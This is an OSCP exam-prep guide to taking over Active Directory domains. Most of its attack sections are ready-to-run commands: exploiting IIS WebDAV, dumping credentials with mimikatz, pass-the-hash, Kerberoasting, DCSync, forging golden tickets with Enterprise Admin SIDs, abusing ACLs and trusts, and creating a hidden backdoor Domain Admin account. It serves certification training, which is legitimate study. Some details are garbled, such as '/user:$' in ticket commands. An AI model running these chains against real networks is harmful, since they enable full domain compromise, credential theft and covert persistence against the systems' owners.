Final Domain Domination Strategies
Table of Contents
- What Domain Domination Means in OSCP
- Complete Attack Chain
- Combining Techniques for Maximum Impact
- Multi-Domain and Multi-Forest Scenarios
- Trust Relationship Exploitation
- Enterprise Admin Escalation
- Maintaining Domain Access
- Exam Strategy
- Common OSCP AD Exam Scenarios
1. What Domain Domination Means in OSCP
Definition
Domain domination in the OSCP context means achieving Domain Admin (or Enterprise Admin) privileges and demonstrating complete control over the Active Directory environment. This is the equivalent of obtaining root on all Linux machines in the exam.
What You Need to Prove
┌─────────────────────────────────────────────────────────────┐
│ DOMAIN DOMINATION CHECKLIST │
│ │
│ [ ] Domain Admin access achieved │
│ [ ] All user hashes extracted (NTDS.dit or DCSync) │
│ [ ] KRBTGT hash obtained │
│ [ ] Golden ticket created (proof of persistence) │
│ [ ] Backdoor account created │
│ [ ] Attack chain documented │
│ [ ] All flags captured on DC │
│ │
│ BONUS (if multi-domain): │
│ [ ] Enterprise Admin access │
│ [ ] Cross-domain trust exploited │
│ [ ] All domains compromised │
└─────────────────────────────────────────────────────────────┘
OSCP Scoring Context
| Achievement |
Points |
Significance |
| Domain Admin on 1 domain |
High |
Core requirement |
| Enterprise Admin (multi-domain) |
Very High |
Bonus points |
| All flags on DC |
Required |
Proof of access |
| Complete attack chain |
Required |
Report quality |
| Multiple domains |
Bonus |
Exceptional performance |
2. Complete Attack Chain
The Full OSCP AD Attack Chain
┌─────────────────────────────────────────────────────────────────────┐
│ COMPLETE ATTACK CHAIN │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Initial │───▶│ Foothold │───▶│ Enumerate│───▶│ Harvest │ │
│ │ Access │ │ │ │ │ │ Creds │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
│ │ │ │
│ │ ┌────────▼────────┐ │
│ │ │ Data Gathering │ │
│ │ │ & Intelligence │ │
│ │ └────────┬────────┘ │
│ │ │ │
│ │ ┌──────────┐ ┌───────────────▼──────────────┐ │
│ │ │ Lateral │───▶│ Privilege Escalation │ │
│ │ │ Movement │ │ (Local → Domain → DA) │ │
│ │ └──────────┘ └───────────────┬──────────────┘ │
│ │ │ │
│ │ ┌──────────┐ ┌───────────────▼──────────────┐ │
│ └───▶│ Lateral │───▶│ Domain Controller Access │ │
│ │ Movement │ │ (DCSync / Direct / PtH) │ │
│ └──────────┘ └───────────────┬──────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ DOMAIN DOMINATION│ │
│ │ Full Control │ │
│ └──────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
Phase-by-Phase Breakdown
Phase 1: Initial Access
# Common OSCP initial vectors:
# 1. Web application exploit
# 2. Service vulnerability (SMB, RDP, WinRM)
# 3. Default credentials
# 4. Misconfigured services
# 5. Password spraying
# Example: Initial shell via web exploit
msfconsole
use exploit/windows/iis/iis_webdav_upload_asp
set RHOSTS <target>
exploit
# Stabilize access
whoami
whoami /priv
systeminfo | findstr /B /C:"OS"
ipconfig /all
# Check for immediate privilege escalation
accesschk.exe -uwcqv "*" C:\*
icacls C:\Windows\Tasks\*
Phase 3: Enumeration
# Local enumeration
net user
net localgroup administrators
net share
arp -a
net view
# Domain enumeration
nltest /dsgetdc:domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
Phase 4: Credential Harvesting
# If SYSTEM:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# If not SYSTEM, look for:
# - Stored credentials (cmdkey /list)
# - Browser passwords
# - Config files with credentials
# - Scripts with embedded passwords
Phase 5: Lateral Movement
# Test credentials
crackmapexec smb <subnet>/24 -u <user> -p <password>
# Move laterally
psexec.py <domain>/<user>:<password>@<next_target>
wmiexec.py <domain>/<user>:<password>@<next_target>
Phase 6: Privilege Escalation
# Local privilege escalation
# - Misconfigured services
# - Unquoted service paths
# - Weak file permissions
# - AlwaysInstallElevated
# - SeImpersonatePrivilege
# Domain privilege escalation
# - ACL abuse
# - Delegation abuse
# - GPO abuse
# - Kerberoasting
Phase 7: Domain Admin
# Achieve Domain Admin
# 1. DCSync from admin account
secretsdump.py <domain>/<admin>:<password>@<dc>
# 2. Golden ticket
mimikatz # kerberos::golden /user:admin /domain:<domain> /sid:<sid> /krbtgt:<hash> /id:500 /ptt
# 3. Direct DC access
psexec.py <domain>/<admin>:<password>@<dc>
Phase 8: Domain Domination
# Full domain extraction
secretsdump.py <domain>/<admin>:<password>@<dc> -outputfile hashes
# Persistence
# - Backdoor account
# - Golden ticket
# - Scheduled tasks
# - ACL modifications
3. Combining Techniques for Maximum Impact
Technique Chain 1: PtH + DCSync → Full Domain Compromise
Pass-the-Hash → Admin Access → DCSync → All Hashes → Golden Ticket → Persistence
# Step 1: Pass-the-Hash to admin workstation
crackmapexec smb <admin_ws> -u <user> -H <ntlm_hash>
# Step 2: Get admin shell
psexec.py <domain>/<user>@<admin_ws> -hashes <lm>:<ntlm>
# Step 3: Harvest admin credentials
mimikatz # sekurlsa::logonpasswords
# Step 4: DCSync from admin account
secretsdump.py <domain>/<admin>:<password>@<dc>
# Step 5: Extract KRBTGT and create golden ticket
mimikatz # lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt
mimikatz # kerberos::golden /user:$ /domain:<domain> /sid:<sid> /krbtgt:<hash> /id:500 /ptt
# Step 6: Full domain access
dir \\dc.domain.local\C$
Technique Chain 2: BloodHound Path → Targeted Exploitation → DC Access
BloodHound → Shortest Path → Targeted Attack → Privilege Escalation → DC
# Step 1: Run SharpHound
SharpHound.exe -c All -d <domain.local>
# Step 2: Analyze in BloodHound
# Find shortest path to Domain Admin
# Step 3: Follow the path
# Example path: User → Group → Computer → Admin → DA
# Step 4: Exploit each step
# - Join group (if ACL allows)
# - Access computer (if member)
# - Escalate to admin (local privesc)
# - Repeat until DA
# Step 5: DC access
secretsdump.py <domain>/<admin>:<password>@<dc>
Technique Chain 3: Kerberoasting → Crack → Admin Access → DCSync
Kerberoast → Offline Crack → Service Account → Admin Rights → DCSync
# Step 1: Kerberoast
getUserSPNs.py <domain>/<user> -dc-ip <dc> -request -outputfile tickets.kirbi
# Step 2: Crack hashes
hashcat -m 13100 tickets.kirbi wordlist.txt
# Step 3: Use cracked service account
crackmapexec smb <subnet>/24 -u <service_account> -p <cracked_password>
# Step 4: Find where service account has admin rights
# Step 5: Escalate to Domain Admin
# Step 6: DCSync
secretsdump.py <domain>/<service_account>:<password>@<dc>
Technique Chain 4: ACL Abuse → Privilege Escalation → Domain Control
ACL Discovery → WriteDACL/WriteOwner → Modify Permissions → Escalate → Control
# Step 1: Find ACL misconfigurations
# Using BloodHound or manual enumeration
Get-Acl "AD:<object_dn>" | Format-List
# Step 2: Abuse WriteDACL
# Grant yourself DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity <your_user> -Rights DCSync
# Step 3: Perform DCSync
secretsdump.py <domain>/<your_user>@<dc> -just-dc-ntlm
# Step 4: Use harvested hashes
# Step 5: Full domain control
Technique Comparison Matrix
| Chain |
Complexity |
Stealth |
Reliability |
Time Required |
| PtH + DCSync |
Medium |
Low |
High |
15-30 min |
| BloodHound Path |
High |
Medium |
Medium |
30-60 min |
| Kerberoasting |
Medium |
Medium |
Medium |
20-45 min |
| ACL Abuse |
High |
High |
Variable |
30-90 min |
4. Multi-Domain and Multi-Forest Scenarios
Understanding Multi-Domain Environments
┌─────────────────────────────────────────────────────────────┐
│ FOREST: CORP.LOCAL │
│ │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ DOMAIN: corp.local │◄──Trust──▶│ DOMAIN: child.corp.local │ │
│ │ │ │ │ │
│ │ Enterprise Admins │ │ Domain Admins │ │
│ │ Domain Admins │ │ │ │
│ └─────────────────┘ └─────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ DOMAIN: partner.local │◄──External Trust──▶ │
│ │ (Separate Forest) │ │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Multi-Domain Enumeration
# List all domains in forest
Get-ADForest | Select-Object Domains
# List trusted domains
Get-ADTrust -Filter *
# Check trust relationships
nltest /domain_trusts
# PowerShell detailed trust info
Get-ADTrust -Filter * | Select-Object SourceName, TargetName, TrustType, TrustDirection
Cross-Domain Movement
# Step 1: Identify trust relationships
crackmapexec ldap <dc> -u <user> -p <password> --trusted-domains
# Step 2: Enumerate users in trusted domain
crackmapexec ldap <trusted_dc> -u <user> -p <password> --users
# Step 3: Test credentials across domains
# Domain Admin in child → may have access to parent
# Enterprise Admin → access to all domains
# Step 4: Move laterally
psexec.py <trusted_domain>/<user>:<password>@<trusted_dc>
Multi-Forest Considerations
| Trust Type |
Direction |
Authentication |
| Forest Trust |
Bidirectional |
Full transitive |
| External Trust |
Unidirectional/Bidirectional |
Non-transitive |
| Realm Trust |
Bidirectional |
Cross-forest Kerberos |
| Selective Auth |
Limited |
Only specified accounts |
5. Trust Relationship Exploitation
Trust Types and Attack Vectors
Forest Trust Exploitation
# Forest trust allows cross-forest authentication
# If you compromise one forest, you may access the other
# Step 1: Identify forest trusts
Get-ADTrust -Filter * | Where-Object { $_.TrustType -eq 'Forest' }
# Step 2: Check trust direction
# Bidirectional = can move both ways
# Inbound = other forest trusts us
# Outbound = we trust other forest
# Step 3: Exploit trust
# If Enterprise Admin in trusted forest:
# - Can access resources in trusting forest
# - May be able to escalate to Enterprise Admin in other forest
SID History Attack
# SID History allows adding SIDs to a user's token
# If you can modify SID History, add Enterprise Admins SID
# Step 1: Check for SID History write access
Get-Acl "AD:<user_dn>" | Select-Object -ExpandProperty Access
# Step 2: Add Enterprise Admins SID
# S-1-5-21-<forest>-519 = Enterprise Admins
mimikatz # lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt
mimikatz # kerberos::golden /user:admin /domain:<domain> /sid:<sid> /sids:S-1-5-21-<enterprise_forest_sid>-519 /krbtgt:<hash> /ptt
# Step 3: Access enterprise resources
dir \\enterprise_dc\C$
Resource Forest Attack
Resource Forest:
- Contains resources (file servers, apps)
- No user accounts (users in identity forest)
- Trust relationship for authentication
Attack:
1. Compromise identity forest
2. Use trust to access resource forest
3. Escalate in resource forest
Trust Enumeration Commands
# From Kali
# Enumerate trusts
crackmapexec ldap <dc> -u <user> -p <password> --trusted-domains
# From Windows
# All trusts
Get-ADTrust -Filter *
# Trust details
Get-ADTrust -Identity <trust_name> -Properties *
# Trust SID filtering
Get-ADTrust -Filter * | Select-Object SourceName, TargetName, SelectiveAuthentication, SidFiltering
6. Enterprise Admin Escalation
From Domain Admin to Enterprise Admin
Domain Admin (child) → Forest Trust → Enterprise Admin (forest root)
Method 1: Trust Exploitation
# If you are Domain Admin in a child domain:
# 1. Check for forest trusts
Get-ADTrust -Filter *
# 2. If bidirectional forest trust exists:
# - DA in child may have path to EA in root
# - Use SID History or direct trust exploitation
# 3. Create golden ticket with Enterprise Admins SID
mimikatz # kerberos::golden /user:admin /domain:<forest_root> /sid:<forest_sid> /sids:S-1-5-21-<forest_sid>-519 /krbtgt:<hash> /ptt
Method 2: Admin Count Escalation
# Protected groups have AdminSDHolder applied
# Enterprise Admins is a protected group
# Check if you can add members to Enterprise Admins
Get-Acl "CN=Enterprise Admins,CN=Users,DC=forest,DC=local" | Format-List
# If you have WriteDACL on the group:
Add-ADGroupMember -Identity "Enterprise Admins" -Members <your_user>
Method 3: KRBTGT in Forest Root
# Extract KRBTGT from forest root DC
secretsdump.py <forest_root>/<admin>:<password>@<root_dc>
# Create golden ticket for forest root
mimikatz # kerberos::golden /user:$ /domain:<forest_root> /sid:<forest_sid> /krbtgt:<root_krbtgt_hash> /id:500 /ptt
# Access all domains in forest
7. Maintaining Domain Access
Persistence Strategy Matrix
| Technique |
Stealth |
Reliability |
Detection Risk |
Recovery Difficulty |
| Backdoor Account |
Low |
High |
Medium |
Easy to find |
| Golden Ticket |
High |
Very High |
Low |
Hard to detect |
| Silver Ticket |
High |
Medium |
Low |
Service-specific |
| ACL Modification |
High |
High |
Medium |
Requires audit |
| Scheduled Task |
Low |
High |
Medium |
Easy to find |
| WMI Subscription |
Medium |
Medium |
Low |
Hard to find |
| Shadow Copy |
N/A |
N/A |
Low |
N/A |
Recommended Persistence Stack
For OSCP Exam:
1. Golden Ticket (primary persistence)
2. Backdoor Domain Admin account (backup)
3. Documented attack chain (report requirement)
For Real-World (Ethical):
1. Report findings immediately
2. Do NOT create persistence
3. Provide remediation recommendations
Golden Ticket Persistence
# Create long-lived golden ticket
mimikatz # kerberos::golden /user:$ /domain:<domain> /sid:<sid> /krbtgt:<hash> /id:500 /startoffset:0 /endin:525600 /renewmax:10080 /ptt
# Save ticket for later
mimikatz # kerberos::golden /user:$ /domain:<domain> /sid:<sid> /krbtgt:<hash> /id:500 /endin:525600
# Export to .kirbi file
mimikatz # kerberos::export /ticket:<ticket_id>
Backdoor Account Creation
# Create hidden backdoor
net user backdoor$ P@ssw0rd123! /add /domain
net group "Domain Admins" backdoor$ /add /domain
# Verify
net user backdoor$ /domain
net group "Domain Admins" /domain
8. Exam Strategy
When to Pivot vs. When to Escalate
Decision Tree:
Current Access
│
├── Local User
│ ├── Can escalate locally? → YES → Escalate
│ │ → NO → Harvest creds, pivot
│ └── Creds harvested? → YES → Test elsewhere, pivot
│ → NO → More enumeration
│
├── Domain User
│ ├── Admin on any machine? → YES → Harvest, escalate
│ │ → NO → Kerberoast, ACL abuse
│ └── Can access DC? → YES → DCSync
│ → NO → Find path to DC
│
├── Domain Admin
│ ├── DC accessible? → YES → DCSync, golden ticket
│ │ → NO → RDP/psexec to DC
│ └── Multi-domain? → YES → Trust exploitation
│ → NO → Full domain domination
│
└── Enterprise Admin
└── All domains accessible → Full forest domination
Time Management Strategy
Total Exam Time: 23 hours (plus 24-hour extension)
Recommended AD Time Allocation:
├── Initial Access: 1-2 hours
├── First Foothold: 30 min - 1 hour
├── Enumeration: 1-2 hours
├── Credential Harvesting: 30 min - 1 hour
├── Lateral Movement: 2-4 hours
├── Privilege Escalation: 1-3 hours
├── DC Compromise: 1-2 hours
└── Documentation: 2-4 hours
Total AD Time: 9-18 hours
Key Decision Points
| Situation |
Action |
Time Limit |
| Stuck on local privesc |
Pivot to another machine |
30 min |
| No creds harvested |
Check all storage locations |
15 min |
| DCSync fails |
Check privileges, try another DC |
10 min |
| Golden ticket fails |
Verify KRBTGT hash, SID |
10 min |
| Can’t reach DC |
Find alternate path |
30 min |
| Multi-domain confusion |
Map trusts first |
20 min |
OSCP-Specific Tips
- Flag Priority: Always capture flags before moving on
- Document as You Go: Take screenshots and notes during the attack
- Multiple DCs: Check for multiple domain controllers
- Backup Methods: Have at least 2 ways to achieve each goal
- Time Boxing: Set timers for each phase; don’t get stuck
- Extension Strategy: Use the 24-hour extension wisely
- Report Early: Start writing the report while still in the lab
9. Common OSCP AD Exam Scenarios
Scenario 1: Single Domain, Standard Lab
Environment:
- 1 Domain Controller
- 2-3 Member Servers
- 2-3 Workstations
- 1 Web Server (initial access)
Typical Attack Path:
1. Exploit web server → foothold
2. Enumerate domain → find admin workstation
3. Harvest creds → local admin on workstation
4. Lateral movement → server with higher privileges
5. Escalate → Domain Admin
6. DCSync → Full domain compromise
7. Golden ticket → Persistence
Scenario 2: Multi-Domain Lab
Environment:
- 2 Domains (parent + child)
- 2 Domain Controllers
- Multiple member servers
- Trust relationship
Typical Attack Path:
1. Initial access in child domain
2. Escalate to Domain Admin in child
3. Exploit trust → access parent domain
4. Escalate to Enterprise Admin
5. Full forest domination
Scenario 3: Complex ACL Lab
Environment:
- Single domain
- Misconfigured ACLs
- Delegation misconfigurations
- GPO abuse opportunities
Typical Attack Path:
1. Initial access
2. BloodHound enumeration
3. Follow ACL abuse chain
4. Escalate through misconfigurations
5. Domain Admin → DC compromise
Scenario Solutions Quick Reference
| Scenario |
Primary Technique |
Backup Technique |
| Standard |
PtH → DCSync |
Kerberoasting → Crack |
| Multi-Domain |
Trust Exploitation |
SID History |
| ACL Abuse |
BloodHound Path |
Manual ACL Enum |
| GPO Abuse |
GPP Passwords |
GPO ACL Abuse |
| Service Account |
Kerberoasting |
AS-REP Roasting |
Common Pitfalls and Solutions
| Pitfall |
Symptom |
Solution |
| Wrong domain name |
Auth failures |
Check nltest /dsgetdc |
| Wrong SID |
Golden ticket fails |
Verify with whoami /user |
| DCSync denied |
Access denied error |
Check group membership |
| Hash format wrong |
Tool errors |
Verify hash format (LM:NT) |
| Network issues |
Connection refused |
Check firewall, ports |
| Time sync issues |
Kerberos failures |
Sync time with DC |
Domain domination is the culmination of your OSCP AD journey. Master the attack chains, practice the techniques, and develop the methodology to systematically compromise any Active Directory environment.